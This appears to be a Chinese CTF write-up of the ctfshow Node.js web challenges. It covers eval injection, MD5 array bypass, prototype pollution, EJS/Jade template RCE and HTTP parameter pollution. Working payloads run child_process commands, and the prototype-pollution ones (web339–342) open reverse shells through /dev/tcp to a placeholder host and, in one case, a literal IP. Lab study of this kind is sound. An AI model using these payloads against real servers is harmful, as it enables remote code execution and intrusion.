ctfshow-web入门笔记-NodeJS

NodeJS

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时环境,可以让你用 JavaScript 来编写服务器端的代码。它提供了一个事件驱动的非阻塞 I/O 模型,使其轻量又高效,非常适合在分布式设备上运行的数据密集型实时应用。Node.js 的包管理器 npm 也是非常强大和活跃的,拥有大量的开源包可以让开发者快速构建应用。

web334 express框架初探

下载源代码,是两个js文件。

login.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var express = require('express'); //引入express框架
var router = express.Router(); //创建路由器对象
var users = require('../modules/user').items; //引入了一个用户模块,并将其赋值给 users 变量

var findUser = function(name, password){ //定义findUser函数,接受name, password参数
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) { //post处理函数
res.type('html');
var flag='flag_here';
var sess = req.session; //获取会话对象
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router; //将定义的路由器对象 "router" 导出,以便其他模块可以使用这个路由器对象。

user.js:

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

这段代码定义了一个简单的模块,导出一个包含一个用户对象的数组。每个用户对象包含 username 和 password 属性。这个模块的作用是提供一个用户数据源,用于在认证接口中查找用户信息。与之前的代码关系是,认证接口中的 findUser 函数使用了这个模块导出的 items 数组作为用户数据源。在认证时,会根据传入的用户名和密码在这个数组中查找匹配的用户对象。如果找到匹配的用户对象,就认为认证成功,否则认证失败。

这里读完了代码,发现是用户名uppercase后需要和CTFSHOW一致,用户名又不能等于CTFSHOW,密码就是123456。直接用户名全小写后加入密码即可。

Express框架 路由器对象

路由器对象在 Express 中用于定义和管理应用的路由。路由器对象可以看作是一个中间件(middleware),用于处理特定路径下的 HTTP 请求。在 Express 中,路由器对象可以使用 express.Router() 方法创建。

通过路由器对象,可以将不同路径下的请求分发到不同的处理函数中,实现更好的代码组织和维护。例如,可以将所有与用户相关的请求(如登录、注册、个人信息等)分发到一个用户路由器对象中,将与商品相关的请求分发到另一个商品路由器对象中,以此类推。

路由器对象的基本用法是使用 router.METHOD() 方法(其中 METHOD 是 HTTP 请求方法,如 GET、POST、PUT、DELETE 等)定义路由,并指定对应的处理函数。例如,router.get(‘/‘, function(req, res) { … }) 定义了一个处理 GET 请求的路由。

最后,将路由器对象通过 module.exports 导出,以便在应用的主文件中使用 app.use() 方法将路由器对象挂载到应用的特定路径上,使得该路由器对象能够处理该路径下的请求。

web335 nodejs eval

f12看源代码,发现了提示:/?eval=

在 Node.js 中,eval() 函数用于将传入的字符串当作 JavaScript 代码来执行。它接受一个字符串参数,然后将这个字符串作为 JavaScript 代码在当前作用域中执行。eval() 函数可以动态地执行代码,这意味着可以在运行时构建代码字符串,并通过 eval() 函数执行。

看了几篇文章和一个wp,构造了这样的payload:

1
?eval=equire("child_process").execSync('ls')

使用了child_process下的execSync来创建子进程。用exec()时会出现无回显的情况。

execSync 是同步执行命令的方法,会阻塞 Node.js 事件循环,直到命令执行完成才会继续执行后续代码。因此,在执行长时间运行的命令时,会导致 Node.js 应用程序无法响应其他事件。
exec 是异步执行命令的方法,不会阻塞事件循环,而是在命令执行完成后通过回调函数来处理结果。因此,推荐在大多数情况下使用 exec 方法,以避免阻塞事件循环。

web336 nodejs 全局变量 __filename函数等

直接用上一道题的payload不行。

nodejs全局变量

在 Node.js 中,__filename 和 __dirname 是两个特殊的全局变量,用于获取当前文件的文件名和所在目录的绝对路径。

  • __filename:表示当前文件的绝对路径,包括文件名。
  • __dirname:表示当前文件所在目录的绝对路径,不包括文件名。

除了 __filename__dirname,Node.js 还提供了一些其他的全局变量,其中一些是常见的 Node.js 环境下特有的,可以在任何地方直接使用。以下是一些常见的全局变量:

  • global:全局对象,类似于浏览器环境中的 window 对象。在任何地方都可以使用,用于定义全局变量和函数。
  • process:表示当前 Node.js 进程的全局对象,可以通过它来获取进程信息、设置环境变量等。
  • console:用于在控制台输出信息的全局对象,可以使用 console.log()console.error() 等方法输出信息。
  • Buffer:用于处理二进制数据的全局对象,可以用来创建 Buffer 对象,处理文件、网络数据等。
    除了以上几个常见的全局变量外,还有一些其他的全局变量,如 setTimeoutsetIntervalrequire 等,它们也可以在任何地方直接使用。

首先使用/?eval=__filename看一下路径,发现是/app/routes/index.js

然后读文件。eval=require('fs').readFileSync('/app/routes/index.js'),读取出/app/routes/index.js

找个在线工具美化一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var express = require('express');
var router = express.Router(); /* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if(typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
res.render('index', {
title: 'tql'
});
} else {
res.render('index', {
title: eval(evalstring)
});
}
});
module.exports = router;

一看,evalstring.search(/exec|load/i) > 0)屏蔽了exec和load的大小写。

换一种:

nodejs child_process执行命令的函数

  • exec(command[, options][, callback]):异步执行一个 shell 命令,通过回调函数处理结果。与 execSync 不同,这个方法不会阻塞事件循环。
  • execFile(file[, args][, options][, callback]):类似于 exec,但是直接执行一个可执行文件而不是通过 shell。这个方法更加高效,因为不需要启动一个新的 shell 进程。
  • spawn(command[, args][, options]):以流的形式启动一个子进程来执行命令,可以方便地处理命令的输入和输出。适用于需要交互式地处理子进程的情况。
  • fork(modulePath[, args][, options]):衍生一个新的 Node.js 进程,并在其中执行指定的模块。与 spawn 不同的是,fork 方法创建的子进程是一个独立的 Node.js 进程,可以方便地进行进程间通信。

同时,exec和spawn有

  • execSync()
  • spawnSync()
    fork没有。

最后得到payload:/?eval=require('child_process').spawnSync('ls').stdout.toString()其中,.stdout.toString()将命令的标准输出转换为字符串。

web337 nodejs 拼接特性 md5数组绕过

得到提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5') // 创建md5 hash对象
.update(s) // 将输入字符串放到hash对象中处理
.digest('hex'); // 以十六进制输出
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag); // 要求:a、b有内容,且a、b长度一致,且a、b不等,且a、b加上flag字符串的md5值要一样
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

wp,提到nodejs的拼接特性:

nodejs 拼接

1
2
3
4
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

得到payload:

1
2
3
?a[:]=2&b[:]=2
或者
?a[a]=2&b[b]=2

在这里内部不能用括号。因为:

1
2
3
4
5
6
7
8
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx}

web338 原型链污染 express框架

源码 login.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

common.js:

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

nodejs 原型链污染

Node.js 中的原型链污染是一种安全漏洞,可以被恶意利用来修改目标对象的原型,从而影响目标对象的行为。这种漏洞通常发生在未正确验证用户输入的情况下,导致恶意用户能够修改目标对象的原型,从而执行恶意代码或者获取敏感信息。

在 JavaScript 中,每个对象都有一个原型(prototype),它是一个指向另一个对象或 null 的内部链接。当我们访问一个对象的属性或方法时,如果该对象本身没有这个属性或方法,JavaScript 引擎会沿着原型链向上查找,直到找到匹配的属性或方法,或者到达原型链的末端(即原型为 null)为止。

在 Node.js 中,原型和原型链的概念与浏览器中的 JavaScript 相同。Node.js 本质上是基于 V8 引擎的 JavaScript 运行环境,因此继承了 JavaScript 的原型继承机制。Node.js 的原型链是由 JavaScript 引擎实现的,用于继承对象的属性和方法,实现了对象之间的原型继承关系。例如,Node.js 中的 Buffer 对象就是通过原型链继承了 Uint8Array 对象的方法和属性。

__proto__ 是每个 JavaScript 对象都具有的属性,它指向该对象的原型(prototype)。通过 __proto__ 属性,可以访问和操作对象的原型链。虽然 __proto__ 在早期的 JavaScript 规范中被称为内部属性,不建议直接使用,但在实际开发中它仍然被广泛使用。

在现代 JavaScript 中,推荐使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 方法来访问和设置对象的原型,而不是直接使用 __proto__ 属性。这是因为 __proto__ 属性在一些 JavaScript 引擎中可能会被优化或实现不同,可能会导致不确定的行为。因此,为了代码的可靠性和可读性,最好使用标准的方法来操作对象的原型链。

在这道题中,secert.ctfshow是不存在的。所以会沿着原型链向上查找,直到找到匹配的属性或方法。这里抓包改包。

1
{"username":"123","password":"123","__proto__":{"ctfshow":"36dboy"}}

user的原型__proto__有了属性。

在 JavaScript 中,__proto__ 属性是用来访问和设置对象的原型的。当你将 __proto__ 设置为一个包含键值对的对象时,这些键值对会被添加到对象的原型链中,而不是直接添加到对象本身。这意味着,如果你设置了 __proto__ 属性为 {"ctfshow":"36dboy"},并且尝试访问对象的 ctfshow 属性,JavaScript 引擎会沿着原型链向上查找,直到找到 ctfshow 属性为止。

在这种情况下,__proto__ 属性会让原型链上多出一个属性,即对象的原型对象(Object.prototype)上的 ctfshow 属性。这意味着,如果对象本身没有 ctfshow 属性,但是它的原型链上有一个 ctfshow 属性,那么你仍然可以通过对象来访问这个属性。

学习链接:深入理解JavaScript原型链污染

1
2
3
4
5
以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

- 每个构造函数(`constructor`)都有一个原型对象(`prototype`)
- 对象的`__proto__`属性,指向类的原型对象`prototype`
- `JavaScript`使用`prototype`链实现继承机制

web339 原型链污染 RCE和反弹shell

这道题相比上题加入了一个api.js:

1
2
3
4
5
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html'); // 设置响应的 Content-Type 头部为 text/html,表示响应的内容类型为 HTML。
res.render('api', { query: Function(query)(query)}); // 渲染名为 'api' 的视图模板,并将一个包含 query 属性的对象传递给模板。其中,query 属性的值是通过将 query 字符串作为函数执行后的结果。
});

wp,漏洞点是Function里的query变量没有被引用,从而可以通过原型链污染进行rce。

一旦进行了原型链污染,所有的对象都会被影响。所以这道题如果做错了需要重启环境,做错了很多次,非常头痛。

payload:

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps_ip/vps_port 0>&1\"')"}}

使用了global.process.mainModule.constructor._load('child_process').exec(),实际上和require('child_process').exec()是一个函数。

先将payload POST至/login,然后POST/api即可命令执行。因为回显只能显示一次,所以这里反弹shell。

web340 原型链污染 向上污染两级

login.js改成这样了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});

这里是copy到了user.userinfo,而不是直接copyuser里,从而像上一题的payload那样造成user.query的RCE。

这题需要向上污染两级:

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps_ip/vps_port 0>&1\"')"}}}

这样就能污染到query了。

web341 ejs漏洞rce

app.js中有:

1
2
3
var ejs = require('ejs');

app.engine('html', require('ejs').__express);

ejs和jade模板RCE

学习了一番,出现了类似原型链污染+命令拼接的漏洞。

1
2
3
4
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2 = __append;'
// 拼接了命令语句

这样就能构造这样的payload,跟上道题一样,也是要污染两层。

1
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps_ip/vps_port 0>&1 \"'); __tmp2"}}}

web342 jade漏洞rce

ejs和jade模板RCE

继续学习了一番,然后直接网上偷了个payload:

1
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/82.156.125.203/9999 0>&1\"');//"}}}

web343 jade漏洞rce

wp说是跟上题差不多,就没写

web344 HPP

给了源码提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){ //忽略大小写+全局匹配
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});

尝试简单的使用?query={"name":"admin","password":"ctfshow","isVIP":true},发现不行,因为正则匹配了逗号,%2c也是逗号。

HPP(HTTP Parameter Pollution): HPP数据污染

HPP(HTTP Parameter Pollution)是一种攻击方式,通过在 HTTP 请求中重复传递相同的参数名,或者传递一个参数名对应多个数值的方式,来欺骗服务器,从而导致服务器解析请求参数时出现错误,可能导致安全漏洞。

HPP 攻击的目的通常是绕过服务器端对参数的验证或过滤,达到执行未授权操作、绕过访问控制、篡改数据等攻击目的。攻击者可以通过修改请求中的参数顺序或值,混淆服务器端对参数的处理,导致服务器误解请求,从而执行恶意操作。

wp

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。
双引号的url编码是 %22,和 c 连接起来就是 %22c,会匹配到正则表达式。

构造payload:

1
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

动态调试验证HPP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var express = require('express');
const indexRouter = require("./index");
var router = express.Router();

router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});

module.exports = router;

var app = express();
port = 3000
app.use('/', router);
app.listen(port, '0.0.0.0', () => {
console.log(`App is running on port ${port}`);
});

打断点看,在获取到get参数后,req.query.query确实如上面,变成了

1
2
3
Array(3) [{"name":"admin",
"password":"ctfshow",
"isVIP":true}]

该数组被JSON.parse()后,就变成了一个对象。

JSON.parse 会将参数转为 string,[“str1”, “str2”].toString() === “str1,str2” 于是可以绕过 ,(2c)。

1
2
3
4
5
{
"name": "admin",
"password": "ctfshow",
"isVIP": true
}

从而成功得到flag。